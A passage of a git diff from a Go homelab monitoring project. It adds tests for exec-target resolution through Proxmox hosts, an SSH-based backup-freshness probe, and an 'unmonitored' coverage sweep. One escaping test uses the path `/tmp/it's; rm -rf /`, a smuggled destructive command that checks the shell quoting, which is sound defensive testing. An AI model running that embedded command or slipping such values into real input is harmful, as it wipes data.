t.Errorf("addr = %q, want public_ipv4 (mesh unreachable from container)", addr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecTargetForCheckLXCRoutesViaHost(t *testing.T) {
|
||||||
|
// An LXC guest with a `hosts` edge to a proxmox host must resolve to the
|
||||||
|
// HOST's address (the host-hop target), wrapped as `pct exec`.
|
||||||
|
pool := newRemotePool(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
hostID := uuid.New()
|
||||||
|
guestID := uuid.New()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'host:hubris','proxmox-host','hubris','active','{"lan_ip":"192.168.8.77"}'::jsonb,1,now(),now())`, hostID)
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'lxc:rclone','lxc','rclone','active','{"pve_id":"132"}'::jsonb,1,now(),now())`, guestID)
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at)
|
||||||
|
VALUES ($1,$2,'hosts',now(),now())`, hostID, guestID)
|
||||||
|
|
||||||
|
et, err := ResolveExecTargetForCheck(ctx, pool, guestID, "lxc", DefaultUser)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveExecTargetForCheck: %v", err)
|
||||||
|
}
|
||||||
|
if et.Host != "192.168.8.77" {
|
||||||
|
t.Errorf("Host = %q, want proxmox host lan_ip 192.168.8.77 (host-hop)", et.Host)
|
||||||
|
}
|
||||||
|
out := et.Wrap("/opt/oikos/checks/cpu_check.sh")
|
||||||
|
if !strings.Contains(out, "pct exec 132") {
|
||||||
|
t.Errorf("guest wrap must use pct exec 132, got %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecTargetForCheckHostIsDirect(t *testing.T) {
|
||||||
|
// A host-like target resolves to its own address with identity wrap.
|
||||||
|
pool := newRemotePool(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
hid := uuid.New()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'ws:mini','workstation','mini','active','{"lan_ip":"192.168.178.182","user":"dtoro"}'::jsonb,1,now(),now())`, hid)
|
||||||
|
|
||||||
|
et, err := ResolveExecTargetForCheck(ctx, pool, hid, "workstation", DefaultUser)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveExecTargetForCheck: %v", err)
|
||||||
|
}
|
||||||
|
if et.Host != "192.168.178.182" {
|
||||||
|
t.Errorf("Host = %q, want 192.168.178.182", et.Host)
|
||||||
|
}
|
||||||
|
// Workstation's top-level `user` must be honored (the mac-mini fix).
|
||||||
|
if et.User != "dtoro" {
|
||||||
|
t.Errorf("User = %q, want dtoro (top-level user attr)", et.User)
|
||||||
|
}
|
||||||
|
if cmd := et.Wrap("uptime"); cmd != "uptime" {
|
||||||
|
t.Errorf("host wrap must be identity, got %q", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecTargetForCheckServiceRoutesViaHostingGuest(t *testing.T) {
|
||||||
|
// A service has no address of its own; it must route through its hosting
|
||||||
|
// LXC via the provides edge, host-hopping through the LXC's proxmox host.
|
||||||
|
pool := newRemotePool(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
hostID := uuid.New()
|
||||||
|
guestID := uuid.New()
|
||||||
|
svcID := uuid.New()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'host:hubris','proxmox-host','hubris','active','{"lan_ip":"192.168.8.77"}'::jsonb,1,now(),now())`, hostID)
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'lxc:gitea','lxc','gitea','active','{"pve_id":"104","lan_ip":"192.168.8.121"}'::jsonb,1,now(),now())`, guestID)
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'service:gitea','service','gitea','active','{}'::jsonb,1,now(),now())`, svcID)
|
||||||
|
// provides: lxc -> service; hosts: proxmox-host -> lxc
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at) VALUES ($1,$2,'provides',now(),now())`, guestID, svcID)
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at) VALUES ($1,$2,'hosts',now(),now())`, hostID, guestID)
|
||||||
|
|
||||||
|
et, err := ResolveExecTargetForCheck(ctx, pool, svcID, "service", DefaultUser)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveExecTargetForCheck for service: %v", err)
|
||||||
|
}
|
||||||
|
// Reaches the proxmox host (host-hop), wrapped as pct exec into the guest.
|
||||||
|
if et.Host != "192.168.8.77" {
|
||||||
|
t.Errorf("Host = %q, want proxmox host 192.168.8.77 (via provides->hosts)", et.Host)
|
||||||
|
}
|
||||||
|
if out := et.Wrap("p"); !strings.Contains(out, "pct exec 104") {
|
||||||
|
t.Errorf("service check must wrap as pct exec 104, got %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
68
internal/remote/testutil_test.go
Normal file
68
internal/remote/testutil_test.go
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
package remote
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// createTestDB provisions a throwaway migrated database off baseURL, the same
|
||||||
|
// convention as internal/scheduler/coverage_test.go. The base URL must point
|
||||||
|
// at a Postgres superuser-capable connection.
|
||||||
|
func createTestDB(t *testing.T, baseURL string) *db.Pool {
|
||||||
|
t.Helper()
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
admin, err := pgx.Connect(ctx, baseURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect admin: %v", err)
|
||||||
|
}
|
||||||
|
dbName := fmt.Sprintf("oikos_rem_%08x", rand.Int63())
|
||||||
|
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||||
|
admin.Close(ctx)
|
||||||
|
t.Fatalf("create test db: %v", err)
|
||||||
|
}
|
||||||
|
admin.Close(ctx)
|
||||||
|
|
||||||
|
at := strings.LastIndex(baseURL, "/")
|
||||||
|
testURL := baseURL[:at+1] + dbName
|
||||||
|
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||||
|
testURL += baseURL[at+q:]
|
||||||
|
}
|
||||||
|
|
||||||
|
pool, err := db.New(ctx, testURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect test db: %v", err)
|
||||||
|
}
|
||||||
|
if err := pool.Migrate(ctx); err != nil {
|
||||||
|
t.Fatalf("migrate: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
pool.Close()
|
||||||
|
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||||
|
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||||
|
admin.Close(ctx)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return pool
|
||||||
|
}
|
||||||
|
|
||||||
|
func getenvOrDefault(key, def string) string {
|
||||||
|
if v := os.Getenv(key); v != "" {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
|
||||||
|
func mustExec(t *testing.T, pool *db.Pool, ctx context.Context, q string, args ...any) {
|
||||||
|
t.Helper()
|
||||||
|
if _, err := pool.Exec(ctx, q, args...); err != nil {
|
||||||
|
t.Fatalf("exec %s: %v", q, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
116
internal/scheduler/backup.go
Normal file
116
internal/scheduler/backup.go
Normal file
@@ -0,0 +1,116 @@
|
|||||||
|
package scheduler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
)
|
||||||
|
|
||||||
|
// checkBackupFreshness reports whether a backup target has a recent artifact.
|
||||||
|
//
|
||||||
|
// The ontology has carried a `backup-target` type and a `backs-up-to` edge
|
||||||
|
// since the first seed, but nothing ever verified that a backup actually
|
||||||
|
// happened — a silent backup failure looked exactly like a working one. This
|
||||||
|
// makes staleness a Signal like any other, so it flows through the existing
|
||||||
|
// dedup, auto-resolve and notifier path rather than needing its own machinery.
|
||||||
|
//
|
||||||
|
// Config: {"path": "/opt/oikos/backups", "max_age_s": 86400, "host": …}
|
||||||
|
//
|
||||||
|
// Deliberately uses `find -mmin` rather than `-printf '%T@'` or `stat`:
|
||||||
|
// -printf is GNU-only and stat's format flag differs between GNU (-c) and BSD
|
||||||
|
// (-f). The first real target for this check is the pre-deploy pg_dump on the
|
||||||
|
// mac-mini, which is macOS — so a GNU-only probe would have silently reported
|
||||||
|
// "unknown" on the one target that motivated the check.
|
||||||
|
func checkBackupFreshness(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||||
|
cfg := struct {
|
||||||
|
Path string `json:"path"`
|
||||||
|
MaxAgeS int `json:"max_age_s"`
|
||||||
|
Host string `json:"host"`
|
||||||
|
User string `json:"user"`
|
||||||
|
Port int `json:"port"`
|
||||||
|
}{
|
||||||
|
MaxAgeS: 86400, // a daily backup that has not run in 24h is stale
|
||||||
|
}
|
||||||
|
if len(cd.Config) > 0 {
|
||||||
|
_ = json.Unmarshal(cd.Config, &cfg)
|
||||||
|
}
|
||||||
|
if cfg.Path == "" || cfg.Host == "" {
|
||||||
|
return checkResult{health: "unknown", signalKind: "backup-misconfigured",
|
||||||
|
evidence: "backup check needs both a path and a host"}
|
||||||
|
}
|
||||||
|
if cfg.Port == 0 {
|
||||||
|
cfg.Port = 22
|
||||||
|
}
|
||||||
|
if cfg.User == "" {
|
||||||
|
cfg.User = sshUser
|
||||||
|
}
|
||||||
|
if cfg.MaxAgeS <= 0 {
|
||||||
|
cfg.MaxAgeS = 86400
|
||||||
|
}
|
||||||
|
|
||||||
|
timeout := time.Duration(cd.TimeoutS) * time.Second
|
||||||
|
if timeout <= 0 {
|
||||||
|
timeout = 30 * time.Second
|
||||||
|
}
|
||||||
|
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
minutes := cfg.MaxAgeS / 60
|
||||||
|
if minutes < 1 {
|
||||||
|
minutes = 1
|
||||||
|
}
|
||||||
|
quoted := shellSingleQuote(cfg.Path)
|
||||||
|
|
||||||
|
// Two questions in one round trip: is there anything at all, and is any of
|
||||||
|
// it recent? "no backups ever" and "backups stopped" are different
|
||||||
|
// failures and deserve different severities.
|
||||||
|
cmd := fmt.Sprintf(
|
||||||
|
`if [ ! -d %s ]; then echo missing; else `+
|
||||||
|
`f=$(find %s -type f -mmin -%d 2>/dev/null | head -1); `+
|
||||||
|
`a=$(find %s -type f 2>/dev/null | head -1); `+
|
||||||
|
`if [ -n "$f" ]; then echo fresh; elif [ -n "$a" ]; then echo stale; else echo empty; fi; fi`,
|
||||||
|
quoted, quoted, minutes, quoted)
|
||||||
|
|
||||||
|
out, err := sshExec(ctx, cfg.Host, strconv.Itoa(cfg.Port), cfg.User, cmd, timeout)
|
||||||
|
if err != nil {
|
||||||
|
return checkResult{
|
||||||
|
health: "unknown", signalKind: "backup-unreachable",
|
||||||
|
evidence: fmt.Sprintf("ssh %s: %v", cfg.Host, err),
|
||||||
|
err: err,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
age := time.Duration(cfg.MaxAgeS) * time.Second
|
||||||
|
switch strings.TrimSpace(string(out)) {
|
||||||
|
case "fresh":
|
||||||
|
return checkResult{health: "healthy"}
|
||||||
|
case "stale":
|
||||||
|
return checkResult{
|
||||||
|
health: "degraded", signalKind: "backup-stale",
|
||||||
|
evidence: fmt.Sprintf("no backup in %s under %s on %s", age, cfg.Path, cfg.Host),
|
||||||
|
}
|
||||||
|
case "empty":
|
||||||
|
return checkResult{
|
||||||
|
health: "down", signalKind: "backup-missing",
|
||||||
|
evidence: fmt.Sprintf("%s on %s exists but contains no files", cfg.Path, cfg.Host),
|
||||||
|
}
|
||||||
|
case "missing":
|
||||||
|
return checkResult{
|
||||||
|
health: "down", signalKind: "backup-missing",
|
||||||
|
evidence: fmt.Sprintf("backup directory %s does not exist on %s", cfg.Path, cfg.Host),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return checkResult{health: "unknown", signalKind: "backup-unreachable",
|
||||||
|
evidence: fmt.Sprintf("unexpected probe output: %q", strings.TrimSpace(string(out)))}
|
||||||
|
}
|
||||||
|
|
||||||
|
// shellSingleQuote makes a path safe to embed in the remote sh command. Paths
|
||||||
|
// come from check_defs config, which an operator or the agent can write.
|
||||||
|
func shellSingleQuote(s string) string {
|
||||||
|
return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
|
||||||
|
}
|
||||||
101
internal/scheduler/backup_test.go
Normal file
101
internal/scheduler/backup_test.go
Normal file
@@ -0,0 +1,101 @@
|
|||||||
|
package scheduler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
)
|
||||||
|
|
||||||
|
func backupCheckDef(t *testing.T, config string) sqlcgen.ListEnabledCheckDefsRow {
|
||||||
|
t.Helper()
|
||||||
|
return sqlcgen.ListEnabledCheckDefsRow{
|
||||||
|
Kind: "backup-freshness",
|
||||||
|
Config: []byte(config),
|
||||||
|
TimeoutS: 15,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A misconfigured check must say so rather than quietly reporting healthy —
|
||||||
|
// "no path configured" and "backup ran fine" must never look the same.
|
||||||
|
func TestBackupFreshnessRejectsIncompleteConfig(t *testing.T) {
|
||||||
|
for _, c := range []struct{ desc, config string }{
|
||||||
|
{"no path", `{"host":"localhost"}`},
|
||||||
|
{"no host", `{"path":"/tmp"}`},
|
||||||
|
{"empty", `{}`},
|
||||||
|
} {
|
||||||
|
got := checkBackupFreshness(context.Background(), backupCheckDef(t, c.config))
|
||||||
|
if got.health != "unknown" || got.signalKind != "backup-misconfigured" {
|
||||||
|
t.Errorf("%s: got health=%q kind=%q, want unknown/backup-misconfigured",
|
||||||
|
c.desc, got.health, got.signalKind)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Live probe against a real SSH endpoint. Guarded by OIKOS_SSH_TEST_HOST:
|
||||||
|
//
|
||||||
|
// OIKOS_SSH_TEST_HOST=localhost OIKOS_SSH_USER=$USER \
|
||||||
|
// OIKOS_SSH_KEY_PATH=~/.ssh/id_ed25519 go test ./internal/scheduler/ -run TestBackupFreshnessLive
|
||||||
|
//
|
||||||
|
// The probe shell has to work on both GNU and BSD find — the first real target
|
||||||
|
// is the pre-deploy pg_dump on the macOS mac-mini, so a GNU-only construct
|
||||||
|
// would fail exactly where it matters.
|
||||||
|
func TestBackupFreshnessLiveDistinguishesTheFourStates(t *testing.T) {
|
||||||
|
host := os.Getenv("OIKOS_SSH_TEST_HOST")
|
||||||
|
if host == "" {
|
||||||
|
t.Skip("OIKOS_SSH_TEST_HOST not set — skipping live backup probe")
|
||||||
|
}
|
||||||
|
sshKeyPath = os.Getenv("OIKOS_SSH_KEY_PATH")
|
||||||
|
sshUser = os.Getenv("OIKOS_SSH_USER")
|
||||||
|
|
||||||
|
dir := t.TempDir()
|
||||||
|
fresh := filepath.Join(dir, "fresh")
|
||||||
|
stale := filepath.Join(dir, "stale")
|
||||||
|
empty := filepath.Join(dir, "empty")
|
||||||
|
for _, d := range []string{fresh, stale, empty} {
|
||||||
|
if err := os.Mkdir(d, 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(fresh, "dump.sql"), []byte("x"), 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
oldFile := filepath.Join(stale, "dump.sql")
|
||||||
|
if err := os.WriteFile(oldFile, []byte("x"), 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
old := time.Now().Add(-72 * time.Hour)
|
||||||
|
if err := os.Chtimes(oldFile, old, old); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
desc, path, wantHealth, wantKind string
|
||||||
|
}{
|
||||||
|
{"recent artifact", fresh, "healthy", ""},
|
||||||
|
{"artifact older than max_age", stale, "degraded", "backup-stale"},
|
||||||
|
{"directory exists but is empty", empty, "down", "backup-missing"},
|
||||||
|
{"directory does not exist", filepath.Join(dir, "nope"), "down", "backup-missing"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, c := range cases {
|
||||||
|
cfg := `{"host":"` + host + `","path":"` + c.path + `","max_age_s":86400}`
|
||||||
|
got := checkBackupFreshness(context.Background(), backupCheckDef(t, cfg))
|
||||||
|
if got.health != c.wantHealth || got.signalKind != c.wantKind {
|
||||||
|
t.Errorf("%s: got health=%q kind=%q evidence=%q, want %q/%q",
|
||||||
|
c.desc, got.health, got.signalKind, got.evidence, c.wantHealth, c.wantKind)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A path with a quote in it must not break out of the remote sh command.
|
||||||
|
func TestShellSingleQuoteEscapes(t *testing.T) {
|
||||||
|
got := shellSingleQuote(`/tmp/it's; rm -rf /`)
|
||||||
|
want := `'/tmp/it'\''s; rm -rf /'`
|
||||||
|
if got != want {
|
||||||
|
t.Errorf("shellSingleQuote = %s, want %s", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
200
internal/scheduler/coverage.go
Normal file
200
internal/scheduler/coverage.go
Normal file
@@ -0,0 +1,200 @@
|
|||||||
|
package scheduler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// UnmonitoredKind is the signal kind raised for an entity whose type declares
|
||||||
|
// monitoring it does not have.
|
||||||
|
const UnmonitoredKind = "unmonitored"
|
||||||
|
|
||||||
|
// coverageSweep reports entities that should be monitored and are not.
|
||||||
|
//
|
||||||
|
// staleSweep can only protect an entity that already has a check — it INNER
|
||||||
|
// JOINs check_defs, so an entity with none is structurally invisible to it and
|
||||||
|
// keeps reporting its last-known health forever. This sweep covers the other
|
||||||
|
// half: it notices the absence itself.
|
||||||
|
//
|
||||||
|
// It fires only where the entity type *declares* monitoring. Types that
|
||||||
|
// declare `monitoring: none` (site, cluster, lan, mesh — topological groupings
|
||||||
|
// with nothing to probe) are working as intended and must never raise a
|
||||||
|
// signal; a permanent unresolvable warning against six healthy entities would
|
||||||
|
// discredit the whole thing. Types that declare nothing at all are a modelling
|
||||||
|
// gap, reported once per pass at debug level rather than as a fleet problem.
|
||||||
|
func coverageSweep(ctx context.Context, pool *db.Pool) {
|
||||||
|
// Resolution walks parent_type — inheriting types (lxc, proxmox-host, lan)
|
||||||
|
// carry NULL in their own monitoring_spec column, so reading it directly
|
||||||
|
// would flag every one of them. Reuse the Go resolver instead of
|
||||||
|
// duplicating the hierarchy walk in SQL.
|
||||||
|
tx, err := pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
slog.Error("scheduler: coverage sweep begin", "error", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tree, err := db.LoadTypeTree(ctx, tx)
|
||||||
|
if err != nil {
|
||||||
|
_ = tx.Rollback(ctx)
|
||||||
|
slog.Error("scheduler: coverage sweep load type tree", "error", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = tx.Rollback(ctx) // read-only
|
||||||
|
|
||||||
|
rows, err := pool.Query(ctx, `
|
||||||
|
SELECT e.id, e.slug, e.type, (cd.target_id IS NOT NULL) AS has_check
|
||||||
|
FROM entities e
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT DISTINCT target_id FROM check_defs
|
||||||
|
WHERE enabled AND target_id IS NOT NULL
|
||||||
|
) cd ON cd.target_id = e.id
|
||||||
|
WHERE e.state = 'active' AND e.type <> 'check'`)
|
||||||
|
if err != nil {
|
||||||
|
slog.Error("scheduler: coverage sweep query", "error", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
type entity struct {
|
||||||
|
id uuid.UUID
|
||||||
|
slug string
|
||||||
|
typ string
|
||||||
|
hasCheck bool
|
||||||
|
}
|
||||||
|
var all []entity
|
||||||
|
for rows.Next() {
|
||||||
|
var e entity
|
||||||
|
if err := rows.Scan(&e.id, &e.slug, &e.typ, &e.hasCheck); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
all = append(all, e)
|
||||||
|
}
|
||||||
|
rows.Close()
|
||||||
|
if rows.Err() != nil {
|
||||||
|
slog.Error("scheduler: coverage sweep scan", "error", rows.Err())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var raised, resolved, undeclared int
|
||||||
|
for _, e := range all {
|
||||||
|
mon := tree.Monitoring(e.typ)
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case !mon.Declared:
|
||||||
|
undeclared++
|
||||||
|
case mon.None():
|
||||||
|
// Explicitly unmonitorable. Nothing to raise — but a type that
|
||||||
|
// USED to declare monitoring (e.g. dns-zone, [dns]→none) may have
|
||||||
|
// open `unmonitored` signals from before the change. They are no
|
||||||
|
// longer a gap, so close them; otherwise they linger forever,
|
||||||
|
// because resolveCoverageSignal only runs from the hasCheck path
|
||||||
|
// and a None() entity never gains a check.
|
||||||
|
if resolveCoverageSignal(ctx, pool, e.id) {
|
||||||
|
resolved++
|
||||||
|
slog.Info("scheduler: type now unmonitorable, resolving stale signal", "entity", e.slug)
|
||||||
|
}
|
||||||
|
case e.hasCheck:
|
||||||
|
if resolveCoverageSignal(ctx, pool, e.id) {
|
||||||
|
resolved++
|
||||||
|
slog.Info("scheduler: entity is monitored again", "entity", e.slug)
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if raiseCoverageSignal(ctx, pool, e.id, e.slug, e.typ, mon.Kinds) {
|
||||||
|
raised++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if raised > 0 || resolved > 0 {
|
||||||
|
slog.Warn("scheduler: coverage sweep",
|
||||||
|
"unmonitored_raised", raised, "resolved", resolved, "scanned", len(all))
|
||||||
|
}
|
||||||
|
if undeclared > 0 {
|
||||||
|
slog.Debug("scheduler: entity types declare no monitoring", "entities", undeclared)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// raiseCoverageSignal raises (or refreshes) the unmonitored signal for one
|
||||||
|
// entity. Reports whether this was a new raise.
|
||||||
|
func raiseCoverageSignal(ctx context.Context, pool *db.Pool, entityID uuid.UUID, slug, typ string, want []string) bool {
|
||||||
|
// A signal is a dual entity: signals.entity_id is a PK referencing
|
||||||
|
// entities(id), so the row has to exist first. The scheduler's other
|
||||||
|
// signals borrow the check entity's id — there is no check here, which is
|
||||||
|
// the whole point, so this sweep owns a signal entity per target.
|
||||||
|
//
|
||||||
|
// The slug is stable per target, which makes the signal row stable too and
|
||||||
|
// lets a resolved signal be re-raised by primary key rather than colliding
|
||||||
|
// with it.
|
||||||
|
signalSlug := fmt.Sprintf("signal:%s:%s", UnmonitoredKind, slug)
|
||||||
|
|
||||||
|
newID, err := uuid.NewV7()
|
||||||
|
if err != nil {
|
||||||
|
newID = uuid.New()
|
||||||
|
}
|
||||||
|
|
||||||
|
var signalID uuid.UUID
|
||||||
|
// Upsert RETURNING id, never insert-and-assume: assuming is what made
|
||||||
|
// checkdefaults write foreign keys to rows it had not created.
|
||||||
|
if err := pool.QueryRow(ctx,
|
||||||
|
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1, $2, 'signal', $2, 'active', '{}', 1, now(), now())
|
||||||
|
ON CONFLICT (slug) DO UPDATE SET updated_at = now()
|
||||||
|
RETURNING id`,
|
||||||
|
newID, signalSlug).Scan(&signalID); err != nil {
|
||||||
|
slog.Error("scheduler: upsert signal entity", "entity", slug, "error", err)
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
evidence := fmt.Sprintf("type %s declares monitoring %v but the entity has no enabled check_def", typ, want)
|
||||||
|
|
||||||
|
// Conflict on the primary key rather than on the (target, kind) partial
|
||||||
|
// index: that index only covers OPEN signals, so a previously resolved
|
||||||
|
// signal would not conflict there and would collide on the PK instead.
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`INSERT INTO signals (entity_id, kind, severity, target_entity_id, evidence, state)
|
||||||
|
VALUES ($1, $2, 'warning', $3, $4, 'raised')
|
||||||
|
ON CONFLICT (entity_id) DO UPDATE
|
||||||
|
SET state = CASE WHEN signals.state IN ('resolved','failed') THEN 'raised' ELSE signals.state END,
|
||||||
|
occurrence_count = signals.occurrence_count + 1,
|
||||||
|
evidence = EXCLUDED.evidence,
|
||||||
|
last_seen_at = now(), updated_at = now()`,
|
||||||
|
signalID, UnmonitoredKind, entityID, evidence)
|
||||||
|
if err != nil {
|
||||||
|
slog.Error("scheduler: raise unmonitored signal", "entity", slug, "error", err)
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// RowsAffected is 1 for both insert and update, so ask the signal itself
|
||||||
|
// whether this was the first occurrence.
|
||||||
|
var occurrences int
|
||||||
|
if err := pool.QueryRow(ctx,
|
||||||
|
`SELECT occurrence_count FROM signals WHERE entity_id = $1`, signalID).Scan(&occurrences); err != nil {
|
||||||
|
return tag.RowsAffected() > 0
|
||||||
|
}
|
||||||
|
if occurrences <= 1 {
|
||||||
|
slog.Warn("scheduler: entity is unmonitored",
|
||||||
|
"entity", slug, "type", typ, "declared", want)
|
||||||
|
emitSchedulerEvent(ctx, pool, "coverage.unmonitored", entityID, "warning",
|
||||||
|
map[string]any{"slug": slug, "type": typ, "declared": want})
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveCoverageSignal closes the unmonitored signal once the entity has a
|
||||||
|
// check. The scheduler's normal auto-resolve keys on the *check* entity id and
|
||||||
|
// only from state 'raised', so it can never clear one of these.
|
||||||
|
func resolveCoverageSignal(ctx context.Context, pool *db.Pool, entityID uuid.UUID) bool {
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE signals SET state = 'resolved', updated_at = now()
|
||||||
|
WHERE target_entity_id = $1 AND kind = $2
|
||||||
|
AND state NOT IN ('resolved', 'failed')`,
|
||||||
|
entityID, UnmonitoredKind)
|
||||||
|
if err != nil {
|
||||||
|
slog.Error("scheduler: resolve unmonitored signal", "error", err)
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return tag.RowsAffected() > 0
|
||||||
|
}
|
||||||
309
internal/scheduler/coverage_test.go
Normal file
309
internal/scheduler/coverage_test.go
Normal file
@@ -0,0 +1,309 @@
|
|||||||
|
package scheduler
|
||||||
|
|
||||||
|
// Integration tests for coverageSweep against a real TimescaleDB. Guarded by
|
||||||
|
// OIKOS_TEST_DATABASE_URL — skipped when unset, same convention as
|
||||||
|
// internal/db/integration_test.go. Each run creates a throwaway database.
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
func newCoveragePool(t *testing.T) *db.Pool {
|
||||||
|
t.Helper()
|
||||||
|
baseURL := os.Getenv("OIKOS_TEST_DATABASE_URL")
|
||||||
|
if baseURL == "" {
|
||||||
|
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||||
|
}
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
admin, err := pgx.Connect(ctx, baseURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect admin: %v", err)
|
||||||
|
}
|
||||||
|
dbName := fmt.Sprintf("oikos_cov_%08x", rand.Int63())
|
||||||
|
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||||
|
admin.Close(ctx)
|
||||||
|
t.Fatalf("create test db: %v", err)
|
||||||
|
}
|
||||||
|
admin.Close(ctx)
|
||||||
|
|
||||||
|
at := strings.LastIndex(baseURL, "/")
|
||||||
|
testURL := baseURL[:at+1] + dbName
|
||||||
|
